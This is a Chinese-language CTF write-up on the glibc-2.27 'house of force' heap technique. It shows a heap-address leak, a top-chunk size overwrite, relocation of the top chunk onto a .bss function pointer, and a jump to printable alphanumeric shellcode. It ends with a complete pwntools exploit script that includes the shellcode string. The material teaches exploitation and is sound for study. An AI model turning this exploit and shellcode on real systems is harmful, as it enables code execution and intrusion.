字符串shellcode在house of force中的運用

實驗環境

Ubuntu18.04,glibc-2.27

背景介紹

1、 House of force是利用早期glibc庫進行堆分配時存在的缺陷,從而對內存進行任意寫的攻擊方式。當初次申請堆塊時,程序會映射一塊較大的chunk作爲top chunk,之後再進行申請時如果堆塊較小,將從這個top chunk切分出合適的塊,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk時簡單將原地址加上切分大小的缺陷,使得該top chunk被移動到任意位置,從而在下一次malloc時產生任意寫的問題。

要利用這一漏洞,需要程序存在堆溢出問題,能夠覆寫top chunk的size段。同時,還要求能確定目標地址與堆地址的偏移量,以便於top chunk能移動至目標位置。

2、 字符串shellcode指的是由可見字符構成的shellcode。舉例而言,字母‘P對應的十六進制爲0x50,翻譯成彙編指令爲push %rax。可以使用alpha3等工具生成自定義shellcode。

題目分析

程序只有二進制文件,這裏爲了講解方便,編譯時保留了調試信息。首先查看保護機制:

image.png 

32位程序,存在可讀可寫可執行段,代碼段固定加載到0x8048000,不能修改got表。

執行程序,大致觀察程序流程:

image.png 

程序首先要求用戶輸入name,然後會返回輸出name相關信息。進入循環,當用戶輸入S時允許進一步產生三次輸入,當用戶輸入L時程序退出。除一開始的name以外,程序並不會輸出用戶之前輸入過的信息。

 

接下來IDA查看函數入口:

image.png 

其中prepare函數如下:

image.png 

其中welcome函數用於輸出treehole的banner。anymore函數用於讀入一個字符,判斷是否需要退出程序。readstr函數如下:

image.png 

注意到該函數存在兩個注意點:紅圈內a2用於給定最大輸入字符個數,但其類型爲unsigned int,因此當傳入-1時能引發過量寫入。藍圈內對字符大小做了限定,只允許輸入ASCII碼在32~126內的可見字符。

confusename函數定義如下:

image.png 

其對指定的字符串做了一系列異或運算。

接下來的strncpy將ninput開始的0x50個字符拷貝到name處。使用ojbdump可以看出,name和ninput相鄰,當name填滿後printf會繼續向後輸出ninput的值,該值恰是堆上某chunk的地址。因此當輸入的name超過50字節後,程序會泄露堆地址。

image.png

main函數使用的ptr是指向anymore函數的指針,該指針在bss段,可以在接下來的步驟中被修改,從而劫持函數控制流。

主要輸入函數pourout代碼如下:

image.png 

首先讀入一個int整數(readint函數簡單使用atoi,此處略去不表),然後申請這個數字+44用於存放後面輸入的一個int)大小的塊,並向這個塊寫入該大小指定的字符。然後讀入一個int,並將它緊靠用戶輸入的字符串放入塊中。

漏洞利用點就在於如果readint讀入一個負數(如-1),將會申請到一個最小塊,然後允許用戶過量寫入(前文提到,readstr的長度判斷存在unsigned int的問題)。readint此處實現了對可見字符這一限定的繞過,從而等價於允許用戶輸入最多4字節的任意字符。

那麼題目的思路便可以總結爲:

1、 調整top chunk到ptr附近

2、 通過申請塊時的readint,修改ptr爲目標代碼指針

3、 利用RWX的漏洞,事先寫入字符串shellcode,在第2步中使用

 

如何調整top chunk呢?根據32位程序chunk的8字節對齊原則,只需要利用程序存在的-1任意寫問題,即可產生堆溢出問題,修改top chunk的prev_size段,並使用readint來輸入0xfffffff(即-1),程序如下:

io.sendline('S')

io.sendlineafter('wanna say?', '-1')

io.sendlineafter('secrets...','A'*12)

io.sendlineafter('do you like?','-1')

則達到的效果爲:

image.png 

紅圈內爲用戶申請到的chunk,可見其後的top chunk的size被修改爲0xffffffff,則下一次申請時可以繞過對chunk大小的驗證。

 

這裏爲什麼一定要繞過這一驗證呢?因爲ptr位於bss段,其地址低於top chunk。當malloc一個塊時,如果使用top chunk,會首先檢查其大小是否合適,然後將top chunk的地址加上塊的大小,來實現top chunk的移動。如果想讓top chunk重定向到小地址,需要malloc一個負數,而負數在unsigned int翻譯時會成爲大正數,不再使用top chunk切分,而是直接在libc加載地址前使用mmap映射。如果將top chunk修改爲0xffffffff,能使得chunk的分配採用切分top chunk的方式,從而將top chunk向低地址移動。

 

接下來可以再申請塊,將大小設定爲目標地址減去top chunk地址,實現top chunk的移動。這裏可以將目標地址設定爲ptr-0x10,則可以使得chunk head後直接readint輸入shellcode地址即可實現修改ptr,劫持控制流。

# move top chunk to .bss section

func_ptr = 0x804b090 -0x10

target_addr = func_ptr - 4

current_addr = heap_base + 0x278

io.sendline('S')

io.sendlineafter('wanna say?', str(target_addr-current_addr))

io.sendlineafter('secrets...','B'*12)

io.sendlineafter('do you like?','-1')

 

因此需要準備好shellcode。這裏可以從網上搜索到32位程序的一條字符串shellcode:

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA

直接正常輸入即可。這裏有兩種放置方式,一種是放到ptr前,然後在當次填充中即可順便修改ptr;一種是放到正常狀態的堆裏,然後再用一次malloc修改ptr。由於這裏ptr在bss段的偏移是0x90,而shellcode長度147字節超過了0x90,所以採用了第一種方法。那麼在第一次修改top chunk大小前,先填充這個shellcode即可。這也是之前的使用0x278的原因。

image.png 

可見字符串shellcode如上所示。調整ptr到0x8eb61d0即可。(即heap_base+0x1d0

運行腳本,最終攻擊結果如下:

image.png 

腳本完整代碼如下。shellcode和調整top chunk的方法不唯一,這裏只是列舉其中一種情況。

 

from pwn import *

from pwn import u32

 

io = process('./a.out')

context.terminal = ['tmux','splitw','-h']

# context.log_level = 'debug'

# gdb.attach(io, 'b main')

def leak_heap_base():

    name = b'A'*100

    io.sendlineafter('tell me your name:',name)

    raw = io.recvuntil('Enjoy')

    rawbase = raw[raw.find(b'. Enjoy')-4:raw.find(b'. Enjoy')]

    return u32(rawbase.ljust(4,b'\x00')) & 0xfffff000

heap_base = leak_heap_base()

log.success(f'Leak heap base : {hex(heap_base)}')

 

# write shellcode

shellcode = 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'

shellcode_func = heap_base + 0x1d0

io.sendline('')

io.sendline('S')

io.sendlineafter('wanna say?', str(len(shellcode)))

io.sendlineafter('secrets...',shellcode)

io.sendlineafter('do you like?','-1')

 

# modify size of top chunk

for i in range(31):

    io.sendline('')

io.sendline('S')

io.sendlineafter('wanna say?', '-1')

io.sendlineafter('secrets...','A'*12)

io.sendlineafter('do you like?','-1')

 

# move top chunk to .bss section

func_ptr = 0x804b090 -0x10

target_addr = func_ptr - 4

current_addr = heap_base + 0x278

for i in range(10):

    io.sendline('')

io.sendline('S')

io.sendlineafter('wanna say?', str(target_addr-current_addr))

io.sendlineafter('secrets...','B'*12)

io.sendlineafter('do you like?','-1')

 

# getshell

io.sendline('S')

io.sendlineafter('wanna say?', '-1')

io.sendlineafter('secrets...','')

io.sendlineafter('do you like?',str(heap_base+0x1d0))

io.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章